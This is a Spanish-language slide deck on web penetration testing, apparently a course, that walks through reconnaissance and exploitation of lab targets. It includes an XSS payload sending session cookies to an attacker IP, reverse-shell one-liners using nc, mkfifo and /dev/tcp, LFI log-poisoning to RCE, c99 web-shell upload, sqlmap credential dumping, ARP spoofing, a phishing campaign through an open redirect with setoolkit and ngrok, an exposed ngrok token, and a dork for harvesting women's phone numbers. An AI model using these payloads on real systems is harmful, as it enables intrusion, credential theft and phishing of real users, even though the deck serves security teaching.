Master Penetration Testing Web

Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 81

Pwned en 3, 2, 1….

Master Penetration Testing Web

https://www.linkedin.com/in/hernanrodriguez-/ Hernan Rodriguez – Peru 2024


Bases Metodológicas
Open Source Security Testing Methodology Manual (OSSTMM)

Es un manual de metodologías para pruebas y análisis de seguridad realizado siguiendo la metodología


OML (Open Methodology License). La metodología OSSTMM se centra en los detalles técnicos de los
elementos que necesitan ser comprobados, qué hacer antes, durante y después de las pruebas de
seguridad, así como evaluar los resultados obtenidos.

Open Web Application Security Project (OWASP)

Es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software
sea inseguro, La Guía OWASP es uno de los documentos más usados y adoptado documento para la de
autoevaluación de aplicaciones web, OWASP proporcione información imparcial, práctica y reusable
sobre seguridad de aplicaciones informática, se recomienda enfocar la seguridad de aplicaciones
informáticas considerando todas sus dimensiones: personas, procesos y tecnologías.
Bases Metodológicas
Common Vulnerability Scoring System (CVSS) - Es un sistema de puntuación de
vulnerabilidad común (CVSS) proporciona una forma de capturar las características principales de
una vulnerabilidad y producir una puntuación numérica que refleje su gravedad. La puntuación
numérica se puede traducir a una representación cualitativa (como baja, media, alta y crítica).

Common Weakness Enumeration (CWE) - Es una lista desarrollada por la comunidad de tipos de
debilidades de software y hardware. Sirve como un lenguaje común, una vara de medir para las
herramientas de seguridad y como una línea de base para los esfuerzos de identificación,
mitigación y prevención de debilidades.

Common Vulnerabilities and Exposures (CVE) - Es una lista de información registrada sobre
vulnerabilidades de seguridad conocidas, en la que cada referencia tiene un número de
identificación CVE-ID.
O W A S P TO P

4
C o m m o n We a k n e s s Enumeration: C W E

La Especificación de enumeración de debilidades comunes (CWE) proporciona un


lenguaje común de discurso para discutir, encontrar y tratar las causas de las
vulnerabilidades de seguridad del software tal como se encuentran en el código, el
diseño o la arquitectura del sistema. Cada C W E individual representa un solo tipo de
vulnerabilidad. C W E es mantenido actualmente por MITRE Corporation.
Actualmente, se encuentra disponible una lista detallada de C W E en el sitio web de
MITRE; esta lista proporciona una definición detallada para cada C W E individual.

C W E List Version 4.14

5
https://cwe.mitre.org/data/index.html
C W E Top 25 (2023)

6
https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html#top25list
Roadmap for Web Application
Pwned en 3,2,1 ………...
Enumeración de subdominios

Las dorks es una técnica que permite usar palabras claves para filtrar información que se requiera.
Tenemos varias fuentes de navegadores para usar las dorks, las más conocidas son “Google” y “Bing”

-site:www site:*.vulnweb.com site:vulnweb.com


Enumeración de subdominios

Las dorks es una técnica que permite usar palabras claves para filtrar información que se requiera.
Tenemos varias fuentes de navegadores para usar las dorks, las más conocidas son “Google” y “Bing”

-site:www site:*.vulnweb.com site:vulnweb.com


Ejemplos de dorks de Google

inurl:(panel) el buscador mostrara todos los resultados tal que en su url este la palabra 'panel'
intitle:(inicio) el buscador mostrara todos los resultados tal que en su titulo de pagina este la palabra 'inicio'
intext:(contraseña) el buscador mostrara todos los resultados tal que en el texto se su pagina este la palabra 'contraseña'
filetype:(pdf) el buscador mostrara todos los resultados que sean de tipo pdf eso se puede reemplazar por php, html , jpg y cualquier otro archivo.
site:(edu.pe) el buscador mostrara todos los resultados tal que su dominio sea gob.pe, ejemplo www.uap.edu.pe
Se pueden poner mas de una palabra (esto sirve para todo los comandos) por ejemplo:
intext:(contraseña usuario) Muestra los resultados que tengan la cadena 'contraseña usuario'
intext:(contraseña & usuario) Muestra los resultados que tengan 'contraseña' y 'usuario'
intext:(contraseña | usuario) Muestra los resultados que tengan 'contraseña' o 'usuario'
Se puede quitar resultados (esto sirve para todo los comandos) por ejemplo:
intext:(contraseña usuario) -intext:(sangre) Muestra los resultados que tengan la cadena 'contraseña usuario' y que no tengan la palabra 'sangre'
Ahora solo queda en su imaginación las dorks que desean armar ! Por ejemplo
site:edu.pe intext:(usuario contraseña) filetype:php Esto mostrara los paneles de las webs de las universidades , al menos los de tipo php y que estén en
español
site:pe intext:(femenino & telefono) filetype:xls Esto mostrara los teléfonos de mujeres del Perú jajaja.
Enumeración de subdominios

Existen múltiples servicios online, que permiten obtener un histórico de subdominios.


Paginas webs, como herramientas pasivas (que recolectan fuentes de información de múltiples webs)

https://subdomainfinder.c99.nl/scans/2022-08-31/vulnweb.com https://github.com/HernanRodriguez1/BrowserOSINT
Recursos de enumeración en subdominios

Herramientas Sitios Webs



Amass 
DNSdumpster

Sublist3r 
Censys

ffuf 
CRT.sh

DNSRecon 
pentest-tools

SubBrute 
osint.sh

Knock 
Seranking

Fierce 
subdomainfinder

etc 
etc
Reconocimiento en documentos

Se puede realizar análisis OSINT para extraer información valiosa de documentos y


archivos en linea.

https://github.com/opsdisk/metagoofil
Reconocimiento en servicios

Se puede obtener los Banner Grabbing, de los servicios y tecnología instalados


en una aplicación desde múltiples formas.

curl -I nc testphp.vulnweb.com 80
http://testphp.vulnweb.com/ GET HTTP/1.1
Reconocimiento HTTP
Identificar las cabeceras implementadas en el servidor, permite crear vectores de ataques
iniciales en la prueba de análisis de vulnerabilidades.

https://github.com/santoru/shcheck

https://github.com/HernanRodriguez1/SecurityHeaders/
Brechas comunes de falta de
implementación de cabeceras HTTP


Clickjacking

Session Hijacking

Cross Site Scripting Self

Strict transport security not enforced

Host Header Injection

Request smuggling HTTP

Etc….

https://owasp.org/www-project-secure-headers/
https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html
Reconocimiento web scrapping

Nos permite obtener datos de un sitio web de manera automatizada y recursiva para obtener
información relevante que podamos usar más adelante para una prueba de análisis de
vulnerabilidades, entre otras.
Regalo script web Scrapping en Python3

from urllib.parse import urljoin


import requests
from bs4 import BeautifulSoup
import mechanicalsoup
import argparse
def crawl(url):
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
br = mechanicalsoup.Browser()
urls = [url]
visited = [url]
while len(urls) > 0:
try:
response = br.get(urls[0], verify=False)
response.encoding = 'utf-8'
urls.pop(0)
soup = BeautifulSoup(response.content, 'html.parser')
for link in soup.find_all('a', href=True):
newurl = urljoin(url, link['href'])
if newurl not in visited and url in newurl:
visited.append(newurl)
urls.append(newurl)
print(newurl)
except Exception as e:
urls.pop(0)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Web scraper with URL crawling.")
parser.add_argument("-t", "--url", type=str, help="URL to start crawling", required=True)
args = parser.parse_args()

crawl(args.url)
Reconocimiento Web Crawling

Crawlear o rastrear una web el proceso por el cual las arañas o crawlers realizan un recorrido por las
diferentes páginas de una web, recopilando toda la información accesible, para almacenarla, procesarla y
posteriormente clasificarla.
Paso 1: Capturamos el trafico de red con burpsuite, posteriormente vamos a irnos a “target” en Site Map, elegimos la URL en este ejemplo:
testphpvulnweb.com le damos anticlip y seleccionamos la opción “Scan”

Paso 2: Escogemos la opción “Crawl” y le damos Ok.


Reconocimiento Web Crawling

En unos segundos, empezara a encontrar carpetas y archivos que respondan de manera correcta las solicitudes. (Recordar que solo va a capturar
datos en un margen de 80% a 90%, desde ese punto se recomienda interactuar manualmente con tu el navegador y el proxy encendido)

Desde Site Map podemos ver que se han afectado de manera correcta esas
solicitudes y son mostradas en este Árbol de objetos.
Reconocimiento web content

Es importante encontrar archivos, carpetas, etc que nos permitan obtener información sensible o
acceso a recursos no autorizados que podrían ser utilices para nuestra fase.

https://github.com/epi052/feroxbuster
Reconocimiento web content

Es importante encontrar activos desde los navegadores web, usando las técnicas de las famosas dorks.
Es común encontrar carpetas no protegidas y obtener información sensible, y acceso no autorizado en
recursos administrados.

site:testphp.vulnweb.com intext:.bak"

username=test site:testphp.vulnweb.com intitle:index of


password=something
Recursos de reconocimiento arquitectura

En este proceso podemos identificar los activos tecnológicos, la topología externa, los servicios
DNS, información del proyecto en un repositorio git, etc.
Existen muchos servicios: shodan, censys,zoomeye, ipcriminal, etc.

https://dnsdumpster.com/
Reconocimiento de Código expuesto

Podemos identificar el código fuente de un proyecto que contiene toda la arquitectura, API’s,
archivos de autenticación por token, etc.
Esta recopilación podemos realizar desde repositorios como github, gitlab, etc.
Reconocimiento de librerías obsoletas
Este proceso se enfoca en encontrar versiones de componentes y librerías obsoletas,
para encontrar vulnerabilidades con un CVE especifico para realizar pruebas de
concepto en nuestra fase de explotación.

https://github.com/RetireJS/
retire.js

https://security.snyk.io/vuln/npm:jquery:20110606
Reconocimiento de servicios obsoletos

Ingresamos en el modo depuración, en la opción network


obtendremos la cabecera (Server) en este caso el servidor es
“nginx/1.19.0”

https://snyk.io/test/docker/nginx%3A1.19.0
Fuente de información CVE


https://nvd.nist.gov/

https://security.snyk.io/

https://vuldb.com/

https://www.incibe.es/

https://cve.mitre.org/cgi-bin/cvename.cgi?
name=

etc
Brute Force

Se utiliza comúnmente para describir un ataque en el que un sistema o contraseña se prueba repetidamente con todas las
combinaciones posibles hasta encontrar la correcta. Por ejemplo, en un ataque de fuerza bruta a una contraseña, un
atacante probará todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta.

Paso1: Activamos el proxy de la Url y el proxy del BurpSuite y le Paso2: Subrayamos los parámetros login y password, posteriormente
damos click derecho y nos vamos a donde dice “Send To Intruder”. le damos en Add.
Brute Force

Paso3: identificamos que nos sale color verde y con parámetros(cambiamos Paso4: Vamos a payloads y en “payload set 1” seleccionamos los
el "attack type" a Cluster bomb") usuarios que queremos.
Brute Force

Paso5: Nos dirigimos a "payloads set 2" y ponemos las Paso6: Le damos en Start Attack.
contraseñas requeridas.
Clickjacking
El clickjacking es una técnica maliciosa para engañar a usuarios de Internet con el fin de que revelen información confidencial o
tomar control de su ordenador cuando hacen clic en páginas web aparentemente inocentes.

Paso 1: Identificar la Host que sera explotado en este caso seria Paso 2: Creamos un etiqueta iframe en HTML
"frameable response (potential Clickjacking)"
Clickjacking
Falta de implementación TLS / Main in the middle
Main in the middle o hombre en el medio es un ataque en la cual nosotros estaremos en el medio entre los
ordenadores y el rooter capturando el trafico de datos con una metodología que pasare a explicar sin tecnicismo en
una imagen

sudo bettercap -iface eth0


net.show
net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.19
set arp.spoof on
set net.sniff.local true
net.sniff on

Cuando una ordenador hace una petición a un servicio su


procedimiento normal es que esta tiene que pasar al rooter
y posteriormente al internet, en nuestro caso si la victima
hace una petición a un servicio nosotros vamos a recibir los
datos en texto plano recolectando datos de información en
primer plano, el segundo envió seria al rooter y luego al
internet, en esta oportunidad voy a utilizar bettercap la cual
es una herramienta en código abierto que nos permitirá
ejecutar el ataque.
Host Header Injection

Los ataques de encabezado de host HTTP explotan sitios web vulnerables que manejan el valor del
encabezado de host de una manera insegura, si el servidor confía implícitamente en el encabezado del
Host y no lo valida ni lo escapa correctamente, un atacante puede usar esta entrada para inyectar
cargas útiles dañinas que manipulan el comportamiento del lado del servidor.

Paso1: Se envía una solicitud HTTP con Paso2: Se comprueba en el código HTML la evidencia
formato incorrecto con la intención de envenenar el del dominio de la pagina web maliciosa
caché para asociar la página web con otra página web
maliciosa.
BYPASS 2FA/OTP

Un factor de autenticación 2FA/OTP permite al usuario proteger su cuenta ante un intento de ataques de filtración
de credenciales y prevenir fraude, un atacante puede evadir este control de seguridad y poder interactuar con los
datos del cliente, para fraudes financieros.

Este landing, tiene como funcionalidad


autenticarse con el DNI y para acceder
se necesita el código OTP del
dispositivo móvil afiliado.

Ingresamos el numero de DNI de un


usuario identificado.
En la respuesta el servidor envía el
código OTP. (podemos acceder a
login sin necesidad de tener el
código desde el móvil afiliado)
Exposición de dato sensibles

El servidor no evita adecuadamente el acceso a la información personal privada de una persona por parte de actores que (1) no están
explícitamente autorizados para acceder a la información o no tienen el consentimiento implícito de la persona sobre la que se recopila
la información, los fallos con frecuencia comprometen datos que deberían estar protegidos. Típicamente, esta información incluye
Información Personal Sensible (PII) como registros de salud, datos personales, credenciales y tarjetas de crédito, que a menudo
requieren mayor protección, según lo definido por las leyes o reglamentos las leyes locales de privacidad.

Ingresamos un DNI de un cliente.

Nos da como respuesta los datos personales, correo electrónico,


numero celular, fecha de creación y actualización del perfil del cliente.
Exposición de dato sensibles PHPINFO
La exposición de PHPInfo y el uso de versiones obsoletas de PHP representan graves vulnerabilidades en sistemas web. PHPInfo revela detalles
sensibles del servidor, mientras que versiones desactualizadas carecen de parches de seguridad, dejando el sistema vulnerable a ataques
maliciosos. Es crucial restringir el acceso a PHPInfo y mantener PHP actualizado para mitigar estos riesgos y proteger la integridad y seguridad del
sistema.
Inadecuado control lógico de negocio

Inadecuado control lógico de negocio" se refiere a situaciones en las que una aplicación o sistema no implementa de manera efectiva las
reglas de negocio y la lógica operativa necesaria para garantizar la seguridad y la integridad de los datos. Esta vulnerabilidad puede surgir
cuando las validaciones y restricciones de negocio no se aplican adecuadamente, lo que permite que ciertas operaciones no autorizadas o
inesperadas se lleven a cabo.

Paso1: Elegimos el monto a pagar.

Paso2: Le damos siguiente, y capturamos el trafico para modificar el valor S/


42.00 en S/ 10.00 en “total_monto=10.00”
Cambiamos con éxito el monto.
SQLi Injection Method GET

Es un metodo de ataque que permite a un actor malicioso enumerar, y obtener registros de los datos almacenados en un motor de base de
datos, este ataque puede escalar muchos otros escenarios, dependiendo el nivel de permisos de la aplicación y del usuario del motor de base
de datos, extracción de data, hasta ejecución de código remoto.
En este escenario, podemos identificar una inyección SQL basado en error (SQLi Error Based)
Para nosotros identificar si existe ese tipo de respuestas podemos añadir en el valor los siguientes signos:

*
-
'
')
`))
``
;
//
' AND id IS NULL; -
/*…*/
-x()
[1]
/!1111'/
+
1 or 1

Cada carácter puede servir en diferentes escenarios.


SQLi Injection Method GET

En este ejemplo solo añadimos una comilla en el valor del parámetro GET Una vez identificado la vulnerabilidad, podemos hacer pruebas manuales o
utilizar herramientas que nos permiten hacer ataques automatizados. La
herramienta por excelencia es SQLMAP.
Paso 1: Enumerar las bases de datos
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?artist=1' --dbs
SQLi Injection Method GET
Paso 3: Enumerar las columnas que se encuentren en la tabla artists
Paso 2: se encontró 2 bases de datos:
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?artist=1' -D acuart --tables sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?artist=1' -D acuart -T
artists --columns

Paso 4: Obteniendo credenciales de usuarios, de la tabla usuarios.


sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?artist=1' -D acuart -T users -C address,cart,cc,email,name,pass,phone,uname --dump
SQLi Injection Method POST Bypass Login


Inyección SQL es un método de infiltración de código intruso que se vale de una
vulnerabilidad informática presente en una aplicación en el nivel de validación de las
entradas para realizar operaciones sobre una base de datos.

Escribimos cualquier usuario(duglas) y contraseña(duglas) mostrado y le damos


login.
SQLi Injection Method POST Bypass Login

Capturamos la solicitud.
Editamos el uname en este caso seria duglas´ or 1=1-- - y le damos en
“Forward”.

Accedimos al usuario con el valor registro 1.

https://raw.githubusercontent.com/payloadbox/sql-injection-payload-list/master/Intruder/exploit/
Auth_Bypass.txt
Unrestricted File Upload
Esta vulnerabilidad se produce cuando en una aplicación web de ficheros no restringe el tamaño o el tipo de fichero en un formulario de subida de
archivos.
Descargamos El "c99.php" y lo renombramos el nombre del archivo c99shell.php

En filename ponemos “hola.jpeg.php” y en Content-Type “image/jpeg” y le


damos forward.

Activamos el proxy del BurpSuite y De La pagina y le damos en guardar.


Unrestricted File Upload

Nos dirigimos donde dice “Copy Image


Link”.

Registro actualizado con éxito

El c99shell fue subido con éxito


XSS Reflejado

Es un tipo de vulnerabilidad informática muy común en las aplicaciones web que se refleja en el navegador del usuario pero sí
requiere una interacción con el usuario, generalmente los atacantes pueden usar este tipo de ataques enviándole directamente al
usuario el payload y que este se ejecute con los propósitos que quiera el atacante.

Ejemplo:
<img src="x"
onerror="alert(1)">du
XSS Almacenado – Steal Cookie

Es un tipo de vulnerabilidad informática muy común en las aplicaciones web que permite a los atacantes colocar secuencias de comandos
maliciosas en páginas web de manera persistente y, a su vez, instalan malware en los navegadores web de los usuario.

Añadimos el payload en el formulario "<script>var i=new Image(); i.src="http://192.168.94.128/?cookie="+btoa(document.cookie);</script>"

Activamos el servidor nc para recibir las peticiones

Cuando un usuario registrado, ingrese a ese modulo vulnerable tendremos su cookie de sesión en nuestro servidor malicioso
Payloads XSS Bypass WAF CloudFlare

En este escenario con protección WAF, es recomendable crear tus propios payloads para evadir los controles de detección.
Los encoders más utilizados para evadir un WAF son Encode_url, charencode, appendnullbyte, chardoubleencode,
space2morecomment, etc y el reemplazo de caracteres por palabras encodeadas o caracteres especiales interpretados por el
servidor.

El payload publico fue bloqueado por WAF.

Ingresamos el payload indetectable: "><sVg/aa="X=y"oNloaD=;1^confirm(1)>/``^1//


Local File Inclusion
La vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores
a causa de una mala programación de la página que contiene funciones de inclusión de archivos.
Paso 1: mi root identificada por cat Paso 2: Identificar la ruta passwd filtrando la ruta de carpeta passwd.
/etc/passwd
LFI to RCE via Log Poisoning

El envenenamiento de registros es una técnica que permite al atacante alterar el contenido del archivo de registro,
como insertar código malicioso en los log del servidor.

Paso1: Inyectamos el Payload en la ruta log del servicio afectado <?php system($GET['cmd']) ?> HTTP/1.1

Nginx:
http://192.168.69.26/thankyou.php?file=/var/log/nginx/error.log&cmd=id

Apache:
http://www.website.com/view.php?page=../../../../../var/log/apache2/access.log&cmd=id

Reverse shell:
http://192.168.69.26/thankyou.php?file=/var/log/nginx/error.log&cmd=nc%20192.168.49.69%20443%20-e%20/bin/bash
Missing Functional Level Access Control

La vulnerabilidad de seguridad de autorización de nivel de función faltante ocurre cuando hay controles de autorización insuficientes para
manejadores de solicitudes sensibles, en este contexto se puede encontrar registros en parámetros para obtener funciones no autorizadas para
agregar, eliminar o editar valores.
Elegimos cualquier numero en el parámetro item y en la parte de arriba donde dice view lo cambiamos
por “Delete” o "remove". (puedes utilizar wffuf o fuff para encontrar para parámetros o registros)

Nos saldrá que el Elemento fue “ eliminado con


éxito”.
OS Command Injection

Es un tipo de vulnerabilidad de seguridad que ocurre cuando un atacante puede inyectar comandos arbitrarios en un sistema a través de una
aplicación vulnerable.

www.facebook.com | ifconfig 192.168.100.61 && nc 192.168.100.69 443 -e


/bin/bash.

192.168.100.61; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc


192.168.100.13 443 >/tmp/f

192.168.100.61 && bash -i &>/dev/tcp/192.168.100.13/443<&1


PHP Object Injection

Es un tipo de vulnerabilidad de seguridad que ocurre cuando un atacante puede inyectar comandos arbitrarios en un sistema a través de una
aplicación vulnerable, debido a las capacidades de serialización del lenguaje. PHP permite que los objetos sean serializados en cadenas y luego
deserializados de vuelta en objetos.

O:18:"PHPObjectInjection":1:{s:6:"inject";s:13:"system('id');";} O:18:"PHPObjectInjection":1:{s:6:"inject";s:18:"system('ps -eaf');";}

Se puedo ejecutar correctamente la inyección de código remoto


Open Redirect

Es un tipo de vulnerabilidad de seguridad que ocurre cuando un parámetro permite redireccionar una URL a otro sitio web elegido por quien ha
construido el enlace.
Se identifico que ese parametro R permite redireccionar a cualquier pagina ejemplo:
https://testphp.vulnweb.com/redir.php?r=https://www.facebook.com/

Top parámetros vulnerables

?url= ?redirect=
?target= /redirect/
?rurl= /cgi-bin/
redirect.cgi?
?view=
/out/
/login?to=
/out?
?image_url= ?go=
?dest= ?return=
?destination= ?returnTo=
?redir= ?return_to=
?redirect_uri= ?checkoutUrl=
?redirect_url= ?checkout_url=
?redirectUri= ?continue=
?redirectUrl= ?return_path=
?returnPath=
Open Redirect

En esta prueba de concepto se va a explotar Open Redirect + Phishing para capturar contraseñas y engañar a los usuarios por medio de esta
vulnerabilidad.

Paso 1:ejecutando el programa Paso 2: luego le damos enter y seleccionamos el menu en este caso seria
"setoolkit “1”
Open Redirect

Paso 3: Después seleccionamos el menu opción


Paso 4: Luego seleccionamos el menu opcion
“2"
“3”
Open Redirect

Paso 5: Después seleccionamos el menú opción Paso 6:Añadimos nuestra ip local(GNU/LINUX) y Ponemos la URL
2
Open Redirect

Paso 6: En primer instancia debemos crear una cuenta en https://dashboard.ngrok.com/signup Una vez creado debemos
instalar en “ngrok" en tu sistema operativo

Instalación:
sudo curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && echo "deb https://ngrok-
agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list && sudo apt update && sudo apt install ngrok

Como parte final debemos añadir mi API de usuario para utilizar este servicio.
ngrok config add-authtoken 212jhg321hj312jhg_6N61ytP8oEHGgRUCvSVi9

Ejecutamos la herramienta ngrok con el puerto de setoolkit.


ngrok tcp 80
Open Redirect

Paso 7: Se genero una URL, vamos a probarla en un navegador


web.
La URL cargo correctamente.
Open Redirect

Paso 8: Enviamos a la victima nuestro Phishing por medio de Open Redirect.


https://testphp.vulnweb.com/redir.php?r=http://
4.tcp.ngrok.io:10621/

Se capturo las credenciales de la


victima.

Una vez la victima alla ingresado sus credenciales(usuario y


contraseña).
Server Side Request Forgery (SSRF/XSPA)

Es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no
deseada, Al proporcionar URL a hosts o puertos inesperados, los atacantes pueden hacer que parezca que el El servidor está enviando la solicitud,
posiblemente eludiendo los controles de acceso, como los firewalls que evitar que los atacantes accedan a las URL directamente. El servidor se puede
utilizar como proxy para realizar escaneo de puertos de hosts en redes internas, use otras URL como que puede acceder a documentos en el sistema
(usando file://), o usar otros protocolos como gopher:// o tftp://, que pueden proporcionar un mayor control sobre el contenido de las solicitudes

https://github.com/HernanRodriguez1/SSRF_payloads file:///etc/passwd
Server Side Template Injection (SSTI)

Es una vulnerabilidad que aprovecha una implementación insegura de un motor de plantillas (template engine). Los motores de plantilla son empleado
por las aplicaciones web para la presentación de datos dinámicos, la sintaxis en la entrada del usuario y utilizará los mensajes de error resultantes
para detectar el motor de plantilla. Si la entrada está concatenada con una variable del lado del servidor y lo representa en la plantilla, entonces es una
indicación de que la plantilla es vulnerable.
{{_self.env.registerUndefinedFilterCallback("exec")}}{_self.env.getFilter("whoami")}}
Cross Site Request Forgery (CSRF)

Es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no
deseada, a un usuario final a ejecutar acciones no deseadas en una aplicación web en la que está autenticado actualmente. Con un poco de ayuda de
ingeniería social (como enviar un enlace por correo electrónico o chat), un atacante puede engañar a los usuarios de una aplicación web para que
ejecuten las acciones que el atacante elija. Si la víctima es un usuario normal, un ataque CSRF exitoso puede obligar al usuario a realizar solicitudes de
cambio de estado, como transferir fondos, cambiar su dirección de correo electrónico, etc. Si la víctima es una cuenta administrativa, CSRF puede
comprometer toda la aplicación web.
Paso1: Activamos el proxy de nuestro burp suite. Paso2: Le click derecho y le damos en “Engagement tools” y nos vamos
donde dice “Generate CSRF Poc”.
Cross Site Request Forgery (CSRF)

Paso3: Le damos click Test in Browser, generamos un link y le enviamos


la URL a nuestra victima (se requiere un servidor propio)

Una vez la victima acceda, le cambiamos la contraseña.


Análisis de vulnerabilidades

Usar herramientas automatizas, tiene sus pro y contras, ahorra tiempo y esfuerzo pero solo
cumple un 80% satisfacción, si el servidor tiene una protección WAF, el escáner sera ineficiente a
menos que hagan una excepción por IP desde la maquina donde se realizara el análisis.

https://github.com/projectdiscovery/nuclei
Recursos de análisis de vulnerabilidades

Nuclei es una herramienta potente que nos permita crear templates para vulnerabilidades que
tengamos en marcha identificar.

Existen múltiples herramientas, pero nuclei es muy completa.


https://github.com/projectdiscovery/fuzzing-templates

https://github.com/HernanRodriguez1/ScanReflectedSSTI

https://github.com/HernanRodriguez1/ScanMySQLiErrorBased-Nuclei

https://github.com/HernanRodriguez1/ScanReflectedXSS
Modo auditoria Burp Suite Professional

Audit es un modulo nativo de Burp Suite Professional, que nos permite realizar un análisis de vulnerabilidades con las firmas de detección por defecto y
plugins que instalemos en el Burpsuite. Podemos encontrar vulnerabilidades desde las distintas severidades “Criticas, Altas, Medias, Bajas y Informativas”
(Tener en cuenta que burpsuite tiene muchos falsos positivos, y se recomienda realizar una prueba de concepto, filtrar los módulos que se harán las
auditorias y las extensiones)
Paso 1: Capturamos el trafico de red con burpsuite, posteriormente vamos a Paso 2: Elegimos la opción “Audit Selected Items” y le damos
irnos a “target” en Site Map, elegimos la URL en este ejemplo: “Consolidate Items"
testphpvulnweb.com le damos anticlick y seleccionamos la opción “Scan
Modo auditoria Burp Suite Professional

Paso 3: Filtramos valores duplicados, items que no tengan parámetros y Paso 4: Una vez afinado tus items correctamente, le damos
removemos extensiones basura como “Gif,png, css, etc” que no sirven para “Ok”
el escaneo, le damos next.
Modo auditoria Burp Suite Professional

Paso 5: Posteriormente nos saldrá la primer ventana, pero con los valores Paso 6: Desde ese punto el escaner estará ejecutando en segundo plano y nos
que nosotros definimos. mostrara las vulnerabilidades que va encontrando.
Modo auditoria Burp Suite Professional
Ingresamos a la vulnerabilidad XSS en el parametro GET artist y le damos la opción
“Show Response in browser” que permite visualizar desde tu navegador proxy si la
vulnerabilidad es explotable.
Modo auditoria Burp Suite Professional

Realizamos una inyección automatizada


sqlmap -u 'http://192.168.100.61/sistema/ajax/usuario.php?
op=verificar' --data="logina=a&clavea=a=-" --dbms=mysql --
dbs

Encontramos un vulnerabilidad “SQL injection” en metodo POST.


Recursos de análisis de vulnerabilidades

Existen herramientas de
pago, que deben ser
consideradas por su
efectividad
Consejo análisis de vulnerabilidades

1) Las pruebas manuales son adecuadas en todos los escenarios.


2) Las vulnerabilidades de lógica de negocio son importantes.
3) Crea tus propios payloads para evadir controles de seguridad (waf)
4) Realiza pruebas de control de acceso (manipulando respuestas, ingresando endpoints con
privilegios altos, ingresando a recursos autenticados, etc)
5) En las cargas arbitrarias prueba múltiples extensiones, modifica las cabeceras de extensión,
inyecta cabeceras en imágenes, etc.
6) Las vulnerabilidades que impacten al negocio, siempre trata de escalar la severidad con una
PoC adecuada.
7) Los captcha pueden ser burlados, si existen malas configuraciones de reutilización de
codigo captcha, protección no habilitada de deteccion bots, eliminando el parámetro donde
se encuentra el captcha, o manipulando las respuestas de manera automatizada.
8) Verificar las respuestas de la solicitud es importante, obtendremos datos sensibles, etc.
9) Modifica las respuestas para validar un control de seguridad o de acceso.
10) Regla de oro nunca confíes totalmente en una herramienta automatizada :)
Checklist de vulnerabilidades comunes de
la categoría de inyección en OWASP
1) Inyección de HTML
2) Inyección de caracteres especiales no permitidos
3) Cross-Site Scripting (XSS)
4) Cross-Site Request Forgery (CSRF)
5) SQL Injection
6) Inyección CRLF
7) Inyección de SOAP
8) Inyección de GraphQL
9) Local File Include
10) Injection de comandos en el sistema operativo
11) XML External Entity (XXE) Injection
12) Inyección de código en deserialización
13) Remote Code Execution (RCE)
14) Inyección de LDAP
15) Inyección de XPath
16) Inyección de CSS
17) Inyección de JavaScript
18) Inyección de Header
19) Inyección de Buffer Overflow
20) Inyección de NoSQL
21) Inyección de encabezados SMTP
22) Inyección de comandos en LDAP
23) Inyección de enlaces simbólicos (Symlink)
24) Inyección de log.
Recursos propios charlas, eventos y papers

Papers:
https://www.linkedin.com/in/hernanrodriguez-/recent-activity/
documents/

Charlas en eventos y webinars:


https://www.youtube.com/watch?v=XO1PfgpGd9U
https://www.youtube.com/watch?v=S2NWJtAjQPU&t=4776s
https://www.youtube.com/watch?v=SaDDxFN3s5M
https://m.twitch.tv/videos/1757306487
https://www.twitch.tv/videos/1269810065
Laboratorios Vulnerables

https://github.com/infosecAK/defenselessV1 https://github.com/satishpatnayak/AndroGoat
https://github.com/s4n7h0/xvwa https://github.com/rewanthtammana/Damn-Vulnerable-Bank
https://github.com/anil-yelken/Vulnerable-Soap-Service https://github.com/WaTF-Team/WaTF-Bank
https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application https://github.com/t0thkr1s/allsafe
https://github.com/appsecco/dvna https://github.com/dineshshetty/Android-InsecureBankv2
https://github.com/snoopysecurity/dvws-node https://github.com/tjunxiang92/Android-Vulnerabilities
https://github.com/appsecco/dvja https://github.com/jaiswalakshansh/Vuldroid
https://github.com/WebGoat/WebGoat https://github.com/oversecured/ovaa
https://github.com/juice-shop/juice-shop https://code.google.com/archive/p/dvaa/
https://github.com/appelsiini/vulnerable-laravel-app
https://github.com/appsecco/dvcsharp-api
https://github.com/srini0x00/dvta
https://github.com/OWASP/DVSA
https://github.com/cider-security-research/cicd-goat
https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0
https://github.com/ine-labs/AzureGoat
https://github.com/ine-labs/AWSGoat
Arsenal Plugins Firefox

https://addons.mozilla.org/es/firefox/addon/foxyproxy-standard/
https://addons.mozilla.org/es/firefox/addon/hacktools/
https://addons.mozilla.org/es/firefox/addon/wappalyzer/
https://addons.mozilla.org/es/firefox/addon/http-header-live/
https://addons.mozilla.org/es/firefox/addon/retire-js/
https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/
https://addons.mozilla.org/es/firefox/addon/hackbar-free/
https://addons.mozilla.org/es/firefox/addon/temp-mail/
https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/
https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/
https://addons.mozilla.org/es/firefox/addon/check-xss/
https://addons.mozilla.org/es/firefox/addon/pwnfox/
https://addons.mozilla.org/es/firefox/addon/shodan-addon/
Blogs que debes entrar !

https://book.hacktricks.xyz/welcome/readme
https://www.hackingarticles.in/
https://www.ired.team/
https://hadess.io/blog/
https://redteam.guide/docs/guides/
https://pentestlab.blog/
